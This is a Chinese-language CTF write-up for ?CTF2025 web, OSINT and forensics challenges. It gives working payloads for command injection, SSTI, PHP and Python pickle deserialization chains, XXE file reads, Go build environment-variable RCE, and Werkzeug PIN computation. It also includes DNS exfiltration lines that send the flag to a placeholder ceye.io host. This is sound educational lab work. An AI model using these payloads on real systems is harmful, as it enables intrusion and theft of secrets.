Loading

?CTF2025

?CTFwp

自己大概打了一下,week3和4的难度升的有点大,所以后面没怎么打了,这里记录一下.

Web

Week1

Ping??

简单命令注入,127.0.0.1;cat f*;

from_http

POST /?welcome=to HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
Host: challenge.ilovectf.cn:30039
Origin: http://challenge.ilovectf.cn:30039
Pragma: no-cache
Referer: ?CTF
Upgrade-Insecure-Requests: 1
User-Agent: ?CTFBrowser
cookie: wishu=happiness
x-forwarded-for: 127.0.0.1

the=%3FCTF

Gitttttttt

考点是.git泄露,需要用Githacker把泄漏的东西统一拉下来。

用下面这行命令即可查看到flag:

git --git-dir=.git cat-file -p e796c79e6972a1a609b2940aa8ffa1015c444368

前端小游戏

前端游戏题,在game.js搜索一下相关关键字,就可以看到有base加密的字符串,解密一下就出来了。

image-20251004152541962

secret of php

<?php
highlight_file(__FILE__);
include("flag.php");
$a = $_GET['a'];

if (isset($a)){
    if($a === "2025") {
        die("no");
    } else {
        echo "<br>"."yes"."<br>";
    }
    if(intval($a,0) === 2025) {
        echo "yes yes"."<br>";
        echo "Congratulations! You have passed the first level, the next level is ".$path."<br>";
    } else {
        die("no no");
    }
} else {
    echo "a is not set"."<br>";
}

intval($a,0) === 2025会自动的转换a变量的进制为10 来进行比较,所以换成a=0x7E9就好。

<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];

if (isset($a) && isset($b)){
    if ($a !== $b && md5($a) == md5($b)){
        echo "<br>yes<br>";
    } else {
        die("no");
    }
    $a = $_REQUEST['aa'];
    $b = $_REQUEST['bb'];
    if ($a !== $b && md5((string)$a) === md5((string)$b)){
        echo "yes yes<br>";
    } else {
        die("no no");
    }
    $a = $_REQUEST['aaa'];
    $b = $_REQUEST['bbb'];
    if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){
        echo "yes yes yes<br>";
        echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";
    } else {
        die("no no no");
    }
} else {
    echo "a or b is not set<br>";
}

第二关考点有三,都和md5有关:

  • 0e绕过
  • 数组绕过
  • md5碰撞

最终参数如下:

a=1110242161&b=2653531602&aa[]=3&bb[]=4&aaa=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

注意的是不要用hackbar直接发最后一组参数,发不过去。

包含不明东西的食物?!

测试文件包含:

image-20251004161216970

直接猜名字读就好了,week1相对简单。

image-20251004162028665

Week2

Look at the picture

\www.zip源码泄露.

<?php
// 随机图片URL数组
$randomImages = [
    'https://picsum.photos/500/500?random=1',
    'https://picsum.photos/500/500?random=2',
    'https://picsum.photos/500/500?random=3',
    'https://picsum.photos/500/500?random=4',
    'https://picsum.photos/500/500?random=5',
    'https://picsum.photos/500/500?random=6',
    'https://picsum.photos/500/500?random=7',
    'https://picsum.photos/500/500?random=8',
    'https://picsum.photos/500/500?random=9',
    'https://picsum.photos/500/500?random=10'
];

// 获取URL参数
$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';
$blacklist_keywords = [
        'file://', 'file%3A//',
        'phar://', 'phar%3A//',
        'zip://', 'zip%3A//',
        'data:', 'data%3A',
        'glob://', 'glob%3A//',
        'expect://', 'expect%3A//',
        'ftp://', 'ftps://',
         'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash',
        'base64',  'string.',  'rot13', 
        'eval', 'system', 'exec', 'shell_exec', 'popen'
    ];
foreach ($blacklist_keywords as $keyword) {
        if (stripos($imageUrl, $keyword) !== false) {
            die("I see you.....");
        }
    }
// 如果没有URL参数,选择一个随机图片并重定向
if (empty($imageUrl)) {
    $randomImage = $randomImages[array_rand($randomImages)];
    header("Location: ?url=" . urlencode($randomImage));
    exit();
}

// 初始化变量
$base64Image = '';
$imageInfo = null;
$error = '';

if (!empty($imageUrl)) {
    // 验证URL格式
    if (filter_var($imageUrl, FILTER_VALIDATE_URL)) {
        // 使用file_get_contents获取图片内容
        $imageContent = @file_get_contents($imageUrl);
        
        if ($imageContent !== false) {
            // 获取图片信息
            $imageInfo = @getimagesizefromstring($imageContent);
            if ($imageInfo) {
                // 获取MIME类型
                $mimeType = $imageInfo['mime'];
                
                // 将图片内容转换为base64编码
                $base64Image = base64_encode($imageContent);
            } else {
                $error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent;
            }
        } else {
            $error = '无法获取图片内容,请检查URL是否正确 '.$imageUrl.":".$imageContent;
        }
    } else {
        $error = '无效的URL格式';
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>图片展示</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Arial', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }

        .container {
            background: rgba(255, 255, 255, 0.95);
            border-radius: 20px;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
            padding: 40px;
            text-align: center;
            max-width: 600px;
            width: 100%;
            backdrop-filter: blur(10px);
        }

        .header {
            margin-bottom: 30px;
        }

        .header h1 {
            color: #333;
            font-size: 2.5em;
            margin-bottom: 10px;
            background: linear-gradient(45deg, #667eea, #764ba2);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }

        .header p {
            color: #666;
            font-size: 1.1em;
        }

        .image-container {
            position: relative;
            margin: 30px 0;
        }

        .avatar-frame {
            width: 250px;
            height: 250px;
            margin: 0 auto;
            border-radius: 50%;
            overflow: hidden;
            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2);
            border: 5px solid #fff;
            transition: transform 0.3s ease;
        }

        .avatar-frame:hover {
            transform: scale(1.05);
        }

        .avatar-image {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .info-box {
            background: linear-gradient(45deg, #667eea, #764ba2);
            color: white;
            padding: 20px;
            border-radius: 15px;
            margin-top: 30px;
        }

        .info-box h3 {
            margin-bottom: 15px;
            font-size: 1.3em;
        }

        .info-content {
            text-align: left;
            line-height: 1.6;
        }

        .error-message {
            background: #ff6b6b;
            color: white;
            padding: 20px;
            border-radius: 10px;
            margin: 20px 0;
            font-size: 1.1em;
        }

        .footer {
            margin-top: 30px;
            color: #888;
            font-size: 0.9em;
        }

        .controls {
            margin: 20px 0;
        }

        .btn {
            background: linear-gradient(45deg, #667eea, #764ba2);
            color: white;
            border: none;
            padding: 12px 25px;
            border-radius: 50px;
            font-size: 1em;
            cursor: pointer;
            transition: all 0.3s ease;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
        }

        .btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2);
        }

        .btn:active {
            transform: translateY(1px);
        }

        .loading {
            display: none;
            font-size: 1.2em;
            color: #667eea;
            margin: 20px 0;
        }

        @media (max-width: 768px) {
            .container {
                padding: 20px;
            }
            
            .header h1 {
                font-size: 2em;
            }
            
            .avatar-frame {
                width: 200px;
                height: 200px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>图片展示</h1>
        </div>

        <div class="controls">
            <button id="refreshBtn" class="btn">获取新图片</button>
        </div>

        <?php if (!empty($error)): ?>
            <div class="error-message">
                错误:<?php echo htmlspecialchars($error); ?>
            </div>
        <?php elseif (!empty($base64Image)): ?>
            <div class="image-container">
                <div class="avatar-frame">
                    <img src="data:<?php echo $mimeType; ?>;base64,<?php echo $base64Image; ?>" alt="显示图片" class="avatar-image">
                </div>
            </div>
            
            <div class="info-box">
                <h3>图片信息</h3>
                <div class="info-content">
                    <p><strong>图片尺寸:</strong><?php echo $imageInfo[0]; ?> × <?php echo $imageInfo[1]; ?> 像素</p>
                    <p><strong>图片类型:</strong><?php echo $mimeType; ?></p>
                    <p><strong>文件大小:</strong><?php echo round(strlen(base64_decode($base64Image)) / 1024, 2); ?> KB</p>
                    <p><strong>来源URL:</strong><?php echo htmlspecialchars($imageUrl); ?></p>
                </div>
            </div>
        <?php endif; ?>
    </div>

    <script>
        // 随机图片URL数组
        const randomImages = [
            'https://picsum.photos/500/500?random=1',
            'https://picsum.photos/500/500?random=2',
            'https://picsum.photos/500/500?random=3',
            'https://picsum.photos/500/500?random=4',
            'https://picsum.photos/500/500?random=5',
            'https://picsum.photos/500/500?random=6',
            'https://picsum.photos/500/500?random=7',
            'https://picsum.photos/500/500?random=8',
            'https://picsum.photos/500/500?random=9',
            'https://picsum.photos/500/500?random=10'
        ];

        // 获取刷新按钮
        const refreshBtn = document.getElementById('refreshBtn');

        // 点击刷新按钮获取新图片
        refreshBtn.addEventListener('click', function() {
            const randomImage = randomImages[Math.floor(Math.random() * randomImages.length)];
            window.location.href = '?url=' + encodeURIComponent(randomImage);
        });
    </script>
</body>
</html>

php协议没有过滤,但很多过滤器的协议被waf,发现还有一些没有被waf,再通过猜测常见flag位置可得flag.

payload:

?url=php://filter/read=convert.quoted-printable-encode/resource=/flag // 其目的在于将文本或二进制内容编码成 Quoted-Printable(简称 QP)格式

?url=php://filter/read=convert.iconv.UTF-8.UTF-8/resource=/flag  // 字符集转换

Only Picture Up

上传图片马.

tmpB9C0

留言板

刚开始看到名字,以为是xss,结看到路由是SSTI.

试了一下,过滤了单双引号,采用request.values过滤.

找可用类:

import requests
import re
import urllib.parse
import html

url = "http://challenge.ilovectf.cn:30784/ssti"
payload = {"message": "{{().__class__.__base__.__subclasses__()}}"}

# 发送POST请求
response = requests.post(url, data=payload)

# 原始回显
raw = response.text
print(raw)

# 做 HTML 实体反解码(如 &lt; &gt;)
# 使用 unquote_plus 将 '+' 转为空格,避免保留加号导致无法匹配
decoded = urllib.parse.unquote_plus(raw)
decoded = html.unescape(decoded)

classes = decoded

# 解析返回的类列表
# 提取所有<class '...'>字符串
matches = re.findall(r"<class '([^']+)'>", classes)

# 查找os相关的类
for idx, cls in enumerate(matches):
    if "os._wrap_close" in cls:
        print(f"os相关类: {cls}, 是第{idx}个")
        break
else:
    print("没有找到os相关的类")

payload:

POST /ssti HTTP/1.1
Host: challenge.ilovectf.cn:30802
Content-Length: 139
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://challenge.ilovectf.cn:30802
Referer: http://challenge.ilovectf.cn:30802/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

message={{().__class__.__base__.__subclasses__()[156].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat+/flag

tmpC68A

Regular Expression

<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');

if(isset($_GET["?"])){
    $_? = $_GET['?'];
    if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40) {
        echo 'Good job! Now I need you to write a regular expression for my string.</br>';
        if(isset($_POST['preg'])){
            $preg = str_replace("|","",$_POST['preg']);
            $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0';
            if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){
                echo "Congratulations! Here is your flag: ".$flag;
            }else{
                echo "Almost succeeded!";
            }
        }
    }else{
        echo "Think twice, and go to study!!!";
    }
}else{
    echo "Welcome to ?ctf";
} Welcome to ?ctf

第一步:匹配正则/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/

卧槽,以后tm一定注意url编码.

^Please\\ 777give\+\. !me\?<=-=>\(\.\*\)Flaggg0$(|||||||||||||||||||||||||||||||||||||||||||||||||||||)

注意参数提交时均需要url编码,否则无效.

登录和查询

爆破的密码是admin123进去之后是fakeflag.查询一词,猜测是sql注入.

You_are_so_a_go0d_ctfer

登录界面f12发现注释:

<!-- 只给我自己看:https://pan.baidu.com/s/1Aaf6ilrk2aK3UQ5APqg20Q?pwd=v1dw -->

提示:

恭喜你找到了这里,你是个很棒的ctfer

登录密码和用户名就藏在这个目录下的字典里面,不要去用别的字典哦,服务器的小心肝受不了。

越过登录界面之后还有一关,flag就在在flags表里面可是id为多少呢?


给了字典.用他的字典又扫了一遍,发现还是一样的账密.

那就可能还在那个进去的页面有sql.

id=0时不同回显:No records found! May true flag is in the table named flags?

id=1'报错:

数据库错误: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
flag.php?id=-1'+union+select+*,2+from+flags%23

1OH!YOU_AR3_1N_RIGHT_WA7_

http://challenge.ilovectf.cn:30803/flag.php?id=-1' union select group_concat(flag),2,3 from flags%23

sqlmap也可以:

python sqlmap.py -r test.txt -D ctf -T flags --dump --batch --level=5

Database: ctf
Table: flags
[2 entries]
+----+--------------------------------------------+
| id | flag                                       |
+----+--------------------------------------------+
| 1  | OH!YOU_AR3_1N_RIGHT_WA7_                   |
| 2  | flag{14cacb5d-64be-485b-ac30-625ee525f5a4} |
+----+--------------------------------------------+

这是什么函数

扫目录:

[06:36:30] 200 -    39B - /flag                                            
[06:37:49] 200 -    1KB - /src

源码:


from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    with open('/flag','r') as f:
        flag = f.read().strip()
    if cat == dog:
        return flag 
    else:
        return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "fail"
    return "success"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

看见了merge函数,一眼原型链污染.

curl -X POST -H "Content-Type: application/json" -d "{\"__class__\": {\"__init__\": {\"__globals__\": {\"cat\": \"how to get the flag?\"}}}}" http://localhost:5000/pollute

然后访问/flag即可.

这又是什么函数

DNS外带

e=__import__('os').system("ping `cat /flag`.xxxxxx.ceye.io")

tmp22A7

魔术大杂烩

<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

if (isset($_POST['eat'])){
    unserialize($_POST['eat']);
}

exp:

<?php
class Wuhuarou{
    public $Wuhuarou;
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
}
class Baicai{
    public $Baicai;
}
class Wanzi{
    public $Wanzi;
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu) {
        $this->Jinzhengu = $Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
}

$wuhuarou = new Wuhuarou();
$fentiao = new Fentiao();
$baicai = new Baicai();
$wanzi = new Wanzi();
$xianggu = new Xianggu("system('cat /flag');");
$huluobo = new Huluobo();

$wuhuarou -> Wuhuarou = $fentiao;
$fentiao -> Fentiao = $baicai;
$fentiao -> Hongshufentiao = "111";
$baicai -> Baicai = $wanzi;
$wanzi -> Wanzi = $xianggu;
$xianggu -> Xianggu = $huluobo;

$payload = serialize($wuhuarou);
echo $payload;
echo "\n";
echo urlencode($payload);
?>



以前没有注意到的点:特殊的构造函数别删.

查查忆

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:///Ff1111llllaa44g">
]>
<qwer>&xxe;</qwer>

ezphp

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['c1n_y0.u g3t+fl&g?'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
if(strlen($code)>14){
    die("is tooooooooooooooooooo long!");
}
echo "Flag is in flag.php~~ (local).";
@eval($code);
?>
/?c1n%5By0%2Eu%20g3t%2Bfl%26g%3F=(~%8f%97%8f%96%91%99%90)();

这样能打出phpinfo界面,但是不能再干什么了.

(赛后复现)

感觉看完wp好简单,自己做就不会(

  1. <?php
    echo urlencode(~">cat");
    ?>
    

    输出取反字符串%C1%9C%9E%8B

  2. 传参为?c1n[y0.u%20g3t%2Bfl%26g",$_=~%C1%9C%9E%8B;$_;

  3. 接着输出?c1n[y0.u%20g3t%2Bfl%26g",*"/;

  4. 访问/=即可.

VIP

{{$reader := .Utils.GetReader "/proc/1/environ"}}{{.Utils.ReadAll $reader}}

结果:

输出结果: HOME=/appGOCACHE=/tmp/go-buildGOPATH=/tmp/gopathSECRET_KEY_PATH=/app/secret_key.txtPATH=/usr/local/go/bin:/usr/bin:/bin

拿到/app/secret_key.txt:

qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr

想到了一个可以搜索的关键字"Golang env注入",果然找到了相关文章:

Go build 环境变量注入RCE-先知社区

{
  "env": {
    "CGO_ENABLED": "1",
    "CC": "sh -c \"cat /flag.txt > /tmp/build/flag.txt\""
  },
  "code": "package main\nimport \"C\"\n\nfunc main() {\n    println(\"hello cgo\")\n}\n"
}

回显:
{"details":"# runtime/cgo\ncat: can't open '/flag.txt': Permission denied\n","error":"编译失败","reason":"exit status 1"}
ls -a /的结果:
# runtime/cgo
total 68
drwxr-xr-x    1 app      app           4096 Oct 23 11:48 app
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 bin
drwxr-xr-x    5 root     root           360 Oct 23 11:41 dev
drwxr-xr-x    1 root     root          4096 Oct 23 11:41 etc
-r--------    1 root     root            44 Oct 23 11:41 flag.txt
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 home
drwxr-xr-x    1 root     root          4096 Oct  8 09:31 lib
drwxr-xr-x    5 root     root          4096 Oct  8 09:31 media
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 mnt
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 opt
dr-xr-xr-x  635 root     root             0 Oct 23 11:41 proc
drwx------    2 root     root          4096 Oct  8 09:31 root
drwxr-xr-x    1 root     root          4096 Oct 23 11:41 run
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 sbin
drwxr-xr-x    2 root     root          4096 Oct  8 09:31 srv
dr-xr-xr-x   13 root     root             0 Feb  8  2025 sys
drwxrwxrwt    1 root     root          4096 Oct 23 12:35 tmp
drwxr-xr-x    1 root     root          4096 Oct 10 11:16 usr
drwxr-xr-x   12 root     root          4096 Oct  8 09:31 var
# runtime/cgo
cgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF

flag.txt只能root用户可读.

/app/start.sh内容如下:

#!/bin/sh
set -e

# 设置运行环境变量
export HOME=/app
export GOCACHE=/tmp/go-build
export GOPATH=/tmp/gopath
mkdir -p "$GOCACHE" "$GOPATH"
chown -R app:app /tmp/go-build /tmp/gopath

# 创建 flag 文件并限制权限
touch /flag.txt && chown root:root /flag.txt && chmod 400 /flag.txt
printf '%s\n' "${A1CTF_FLAG:-flag{this_is_a_default_flag_please_set_me}}" > /flag.txt

# 设置密钥文件路径并读取 secret_key.txt
export SECRET_KEY_PATH=/app/secret_key.txt
API_KEY="$(cat /app/secret_key.txt)"

# 启动主程序 server(以 app 用户运行)
#exec env -i HOME="$HOME" GOCACHE="$GOCACHE" GOPATH="$GOPATH" SECRET_KEY_PATH="$SECRET_KEY_PATH" /app/server
exec su -s /bin/sh -c 'env -i HOME="/app" GOCACHE="/tmp/go-build" GOPATH="/tmp/gopath" SECRET_KEY_PATH="/app/secret_key.txt" PATH="/usr/local/go/bin:/usr/bin:/bin" /app/server' app

想到SUID提权:

{
  "env": {
    "CGO_ENABLED": "1",
    "CC": "sh -c \"find / -perm -4000 -type f 2>/dev/null | grep -v busybox\""
  },
  "code":"package main\nimport \"C\"\nfunc main() {\n}"
}



回显:
{"details":"# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\ncgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n","error":"编译失败","reason":"exit status 1"}


但是我刚开始尝试了很多次"CC": "sh -c \"find / -perm -4000 -type f 2>/dev/null\""没成功.感觉应该是返回值非零导致的.

tmp7E2D

直接运行该程序即可得到flag.

这又又是什么函数

pickle反序列化基础和绕过.


from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__)

PICKLE_BLACKLIST = [
    b'eval',
    b'os',
    b'x80',
    b'before',
    b'after',
]
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/deser', methods=['GET', 'POST'])
def deser():
    a = request.form.get('a')
    if not a:
        return "fail"
    
    try:
        decoded_data = base64.b64decode(a)
        print(decoded_data)
    except: 
        return "fail"
    
    for forbidden in PICKLE_BLACKLIST:
        if forbidden in decoded_data:
            return "waf"
    try:
        result = pickle.loads(decoded_data)
        return "done"
    except:
        return "fail"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
    

一些pickle反序列化基础:

思路:

  1. 可以看到这里面主要路由是/deser,会把我们传上去的a参数进行pickle反序列化然后赋值给result.之后却没做什么.

  2. 那我们应该怎么做呢? 参考php反序列化中的魔术方法weakup,我们可以合理推测python中一定也存在一个这种自动调用的方法,他就是__reduce__.那么我们只需要再__reduce__中构造我们的恶意代码并执行就可以了.

  3. 注意到有黑名单:

    PICKLE_BLACKLIST = [
        b'eval',
        b'os',
        b'x80',
        b'before',
        b'after',
    ]
    

    我们可以选择不在其中的函数subprocess.call,发现成功回显done.

  4. 但是没有回显是个问题,这时候一般出网的话两种常见思路,反弹shell,或者DNS外带.而由于python3的反弹shell的payload中还有os,所以我们改用DNS外带.exp代码最终如下:

    import pickle, base64, subprocess, requests
    
    class A:
        def __reduce__(self):
            return (subprocess.call, (['/bin/sh', '-c', 'ping `cat /flag`.xxxxxx.ceye.io'],))
    
    
    
    encoded_data = f"a={base64.b64encode(pickle.dumps(A())).decode()}"
    print(encoded_data)
    
    url = "http://challenge.ilovectf.cn:30085/deser"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    
    response = requests.post(url, data=encoded_data, headers=headers)
    print(response.text)
    

    需要注意的是DNS外带有局限性,不能外带多行数据.

好像什么都能读

什么都能读,那读一下源码看看吧.

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
    return render_template('index.html')

@app.route('/read')
def read():
    # 获取请求参数中的文件名
    filename = request.args.get('filename')
    if not filename:
        return "需要提供文件名", 400
    with open(filename, 'r') as file:
            content = file.read()
    return content, 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

开启了debug,说明是要计算pin码.

一通探索之后发现在/read?filename=1下找到了报错页面.但是少了pin码输入弹窗.

猜测是被隐藏了,问了AI大人,只需要console中输入document.querySelector('.pin-prompt').style.display = 'block';即可出现.

比赛后得知:

import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '90518883651909',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e0::/'  # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

没做出来.

Path to Hero

<?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}

if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
}

exp:

<?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;
}

class Sword
{
    public $test1;
    public $test2;
    public $go;
}

class Mon3tr
{
    private $result;
    public $end;
}

class Treasure
{
}

$start = new Start();
$start-> ishero = "I am a hero!";
$start->adventure = new Sword();
$start->adventure->test1 = "QNKCDZO";
$start->adventure->test2 = "s878926199a";
$start->adventure->go = new Mon3tr();
$start->adventure->go->end = "echo `base64 /fl*`;";


echo serialize($start);
echo "\n";
echo urlencode(serialize($start));

?>

flag:
tmpAFD4

Osint

Task 1. 见面地点

刚开始用谷歌直接给我干杭州去了,导致赛博旅游了一会( 实际应该是下图:

image-20251004222526135

查询相关的地铁站,最近的是会展中心站,同名。因此flag为flag{1_4_HuiZhangZhongXin}

Task 2. 方块世界?!

玩游戏(a745aa93-cea3-4dcd-a1ee-bb2c9967112f

密文

LzkuL4gSqI6hrH0JYTUkLR9jLy0PnQNlKIY1Y4VmJ2D1qFZso4VsDzQkpmYusC==

密钥

M-ZA-Ln-za-m1-90+/=

flag:

flag{Funny_W0r1d_0f_Ch@rac43rs_Ttu3_or_Fa1s3!}

Misc

取证第一次

第一次做取证,题目附件给了一个vmdk文件,先分析分析:

$ qemu-img info what.vmdk
image: what.vmdk
file format: vmdk
virtual size: 2 GiB (2147483648 bytes)
disk size: 750 MiB
cluster_size: 65536
Format specific information:
    cid: 425844904
    parent cid: 4294967295
    create type: monolithicSparse
    extents:
        [0]:
            virtual size: 2147483648
            filename: what.vmdk
            cluster size: 65536
            format:

是磁盘镜像,转raw:

qemu-img convert -f vmdk -O raw what.vmdk what.raw

用FTK挂载。根据题目提示在/var/log中找到:
image-20251004171354076

你也喜欢win7吗

# 查看镜像信息

